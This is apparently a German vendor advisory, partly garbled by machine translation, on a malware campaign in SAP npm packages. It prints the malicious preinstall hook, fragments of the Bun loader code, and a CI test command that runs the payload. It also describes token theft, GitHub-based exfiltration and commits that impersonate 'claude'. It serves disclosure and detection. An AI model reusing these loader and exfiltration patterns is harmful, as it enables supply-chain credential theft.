Eine neue Sicherheitslücke in der npm-Lieferkette zielt auf das SAP-Entwickler-Ökosystem ab.
Die betroffenen Pakete, die wir bislang verfolgen, sind:
@cap-js/sqlite – v2.2.2@cap-js/postgres – v2.2.2@cap-js/db-service – v2.10.1mbt@1.2.48
Das Muster ist bekannt, aber auch ein wenig anders: Ein vertrauenswürdiges Paket erhält ein neues preinstall Hook, der Hook führt einen neuen setup.mjs Datei, und dieser Loader lädt die Bun-JavaScript-Laufzeitumgebung herunter, um eine große, verschleierte Nutzlast namens execution.js.
Die Nutzlast besteht aus einem 11,7 MB großen Framework zum Stehlen von Anmeldedaten und zur Verbreitung. Es sammelt lokale Entwickler-Anmeldedaten, GitHub- und npm-Token, secrets sowie secrets AWS, Azure, GCP und Kubernetes. Anschließend werden die verschlüsselten Ergebnisse über öffentliche GitHub-Repositorys nach außen geschmuggelt.
Die Malware benennt diese Repositorys mit einer fest programmierten Beschreibung:
Ein Mini-Shai-Hulud ist aufgetaucht
Was geschah
Die kompromittierten Pakete nutzen die Ausführung des npm-Lebenszyklus. Nach dem, was wir bisher gesehen haben, package.json wurde um folgenden Text ergänzt:
"scripts": {
"preinstall": "node setup.mjs"
}Das bedeutet, dass der Schadcode automatisch ausgeführt wird, während npm install, noch bevor die Installation überhaupt abgeschlossen ist.
Das schädliche Paket fügt zwei Dateien hinzu:
setup.mjsexecution.js
Der Code des normalen Pakets sieht nach wie vor wie das legitime SAP-Paket aus. In der @cap-js/sqlite@2.2.2 Beispiel: Die normalen Dateien stimmen überein @cap-js/sqlite@2.2.1 Byte für Byte. Der Kompromiss besteht aus dem Installations-Hook und den zusätzlichen Payload-Dateien.
Wahrscheinlicher Einstiegspunkt
Ein öffentlicher Hinweis deutet auf eine mögliche Ursache hin: ein npm-Token, das bei Pull-Request-Builds über CircleCI offengelegt wurde.
Das deckt sich mit unseren Erkenntnissen aus SAP/Cloud-MTA-Build-Tool. Am 29. April, ein kurzlebiger PR-Entwurf mit dem Titel Feature: ci speedup wurde geöffnet von gruposbftechrecruiter/harkonnen-navigator-149. Der PR wurde innerhalb weniger Minuten geschlossen, und der Branch wurde später per Force-Push aktualisiert, sodass der aktuelle GitHub-Diff leer blieb.
CircleCI hat den wichtigen Teil dennoch beibehalten. Ein PR-Build auf pull/1223 Commit ausgecheckt a959014aa7b7fc37a9b5730c951776e7db2920a6, das einen Bun-Lader an bin/config.mjs, fügte eine verschleierte Nutzlast hinzu unter bin/mbt.jsund änderte den Testbefehl in:
node ./bin/config.mjs && node ./bin/mbtDieser Test wurde im Rahmen eines PR-Auftrags ausgeführt, bei dem CircleCI geschwärzte secrets auflistete, darunter CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, CircleCI-OIDC-Token, Docker Hub-Anmeldedaten, Cloud -Anmeldedaten und andere releasebezogene Variablen.
Die Protokolle enthielten außerdem Octokit-Warnungen für POST-https://api.github.com/user/repos, was mit dem Exfiltrationsverhalten der Malware auf GitHub übereinstimmt.
Damit ist der CircleCI-PR-Build der wahrscheinlichste Auslöser für den ursprünglichen Diebstahl der Zugangsdaten.
So funktioniert die Malware
Die erste Phase, setup.mjs, ist ein Bun-Bootstrapper. Er überprüft das Betriebssystem und die Architektur und lädt Bun herunter 1.3.13 bei Bedarf von GitHub herunter, entpackt die Binärdatei und führt sie mit Bun aus execution.js.
const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });Die zweite Phase, execution.js, ist eine einzige große, verschleierte Nutzlast. Sie nutzt eine benutzerdefinierte Zeichenfolgenverschlüsselungsschicht mit der Bezeichnung ctf-scramble-v2, prüft, ob es in einer CI-Umgebung läuft, beendet sich bei russischen Ländereinstellungen und läuft auf Nicht-CI-Rechnern als Daemon.
Was es stiehlt
Die Payload ist so konzipiert, dass sie sowohl Entwickler-Laptops als auch CI/CD-Runner befällt.
Es versucht, Folgendes zu erfassen:
- GitHub-Token, einschließlich der Ausgabe von
gh-Authentifizierungstoken - npm-Token von
.npmrc - Umgebungsvariablen
- secrets in GitHub Actions
- AWS STS-Identität, Secrets secrets und SSM-Parameter
- Azure-Abonnements, Key Vault-Namen und Key Vault-Geheimniswerte
- GCP-Projektidentität und Secret Manager-Werte
- Kubernetes-Dienstkontotoken
- Claude-Konfigurationsdateien, MCP-Konfigurationsdateien, GCP-Token-Datenbanken, Azure-Token-Caches, Signal-Konfigurationsdateien, Electrum-Wallets und VPN-Konfigurationsdateien
Besonders besorgniserregend ist der Pfad zu GitHub Actions. Die Nutzlast enthält einen eingebetteten Python-Helper, der sucht /proc für die Läufer.Arbeiter Prozess, liest dessen Speicher aus und extrahiert maskierte geheime Strukturen aus dem Runner.
Schlüsselwort für Exfiltration und Verbreitung auf GitHub
Die Malware nutzt GitHub als Kanal für die Datenentwendung.
Das neue Schlüsselwort für die Weiterleitung lautet:
Oh nein, was ist denn bei GitHub los?Die Malware durchsucht GitHub-Commits nach dieser Zeichenfolge und nutzt übereinstimmende Commit-Meldungen als versteckten Speicherort für Token. Commit-Meldungen, die OhNoWhatsGoingOnWithGitHub:<base64> werden in GitHub-Token umgewandelt und auf Repository-Zugriffsrechte überprüft.
Sobald die Malware ein Repository erstellen kann, verwendet sie zufällig generierte Namen mit Bezug zu „Dune“ und legt die Repository-Beschreibung wie folgt fest:
Ein Mini-Shai-Hulud ist aufgetauchtund speichert verschlüsselte Ergebnisdateien unter:
results/results-<timestamp>-<counter>.jsonDie Daten werden vor dem Commit mit AES-256-GCM komprimiert und verschlüsselt, wobei der AES-Schlüssel durch einen eingebetteten RSA -Schlüssel geschützt wird.

Verbreitungslogik
Die Nutzlast enthält Logik für die Integration in Entwickler- und Release-Workflows.
In den analysierten Proben sucht die Malware nach GitHub-Actions-Release-Automatisierung im Zusammenhang mit cap-js/cds-dbs. Wenn es in diesem Repository-Kontext einen Release-Workflow erkennt, kann es ein Paket-Tarball wie folgt ändern:
- die aktuelle Nutzlast in
execution.js - Schreiben
setup.mjs - Einstellung
scripts.preinstall = "node setup.mjs" - die Patch-Version erhöhen
- das Tarball-Archiv neu packen
Außerdem versucht es, gestohlene GitHub-Actions-Token zu nutzen, um Dateien in Repositorys zu übertragen:
.vscode/tasks.json.vscode/setup.mjs.claude/execution.js.claude/setup.mjs.claude/settings.json
In diesen Commits wird Folgendes verwendet:
Aufgabe: Abhängigkeiten aktualisierenmit dem Autor:
claude <claude@users.noreply.github.com>SAP als Ziel
Die Zielpakete sind in die normalen SAP-Entwicklungsabläufe eingebunden. @cap-js/sqlite, @cap-js/postgres, und @cap-js/db-service sind Teil des SAP-CAP-Datenbank-Ökosystems, während mbt wird im Zusammenhang mit den Build-Workflows von SAP Cloud verwendet.
Dadurch ist diese Kampagne zwar von der Anzahl der Pakete her klein, hat aber potenziell große Auswirkungen. Diese Pakete werden wahrscheinlich auf Entwicklerrechnern und CI-Runner ausgeführt, die Zugriff auf GitHub, npm, Cloud-Anmeldedaten und secrets für die Bereitstellung haben.
Erkennung und Abwehr
Durchsuche Lockfiles, Paket-Caches, CI-Protokolle, interne Registries, Artefakt-Speicher und Entwicklerrechner nach:
@cap-js/sqlite – v2.2.2@cap-js/postgres – v2.2.2@cap-js/db-service – v2.10.1mbt@1.2.48setup.mjsexecution.jspreinstalllaufende SkripteDatei „setup.mjs“- Brötchen
1.3.13Downloads während der Paketinstallation
Auf GitHub suchen nach:
- Suchergebnisse für
Oh nein, was ist denn bei GitHub los?:https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits - Repositorien mit Beschreibung
Ein Mini-Shai-Hulud ist aufgetaucht - Commits, die Folgendes enthalten
Oh nein, was ist denn bei GitHub los? - Commits mit dem Titel
Aufgabe: Abhängigkeiten aktualisieren - Commits verfasst von
claude <claude@users.noreply.github.com> - unerwartet
.claude/oder.vscode/setup.mjsDateien Ergebnisse/Ergebnisse-*.jsonDateien in neu erstellten öffentlichen Repositorys
Falls ein betroffenes Paket installiert wurde, sollten Sie secrets rotieren. Beschränken Sie die Rotation nicht auf npm-Token. Die Malware zielt auf GitHub, npm, Cloud-Anbieter, Kubernetes, secrets und lokale Entwicklertools ab.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Denken Sie für zukünftige Sicherheit an Aikido Chain (Open Source). Safe Chain lässt sich in Ihren bestehenden Arbeitsablauf integrieren, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft Pakete vor der Installation anhand von Aikido .
Kompromittierungsindikatoren
Betroffene Pakete:
@cap-js/sqlite – v2.2.2@cap-js/postgres – v2.2.2@cap-js/db-service – v2.10.1mbt@1.2.48
Hashwerte aus den analysierten @cap-js/sqlite@2.2.2 Beispiel:
setup.mjs:4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js:6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95- Eingebauter GitHub-Runner-Speicherdumper:
29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7
Zeichenfolgen und Markierungen:
Ein Mini-Shai-Hulud ist aufgetauchtOh nein, was ist denn bei GitHub los?(Schlüsselwort für die Weitergabe / Dead-Drop-Marker für GitHub-Commits)ctf-scramble-v2tmp.987654321.lockAufgabe: Abhängigkeiten aktualisierenclaude@users.noreply.github.com
URLs und Endpunkte:
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50hxxp://169.254.169.254hxxp://169.254.170.2hxxp://[fd00:ec2::254]

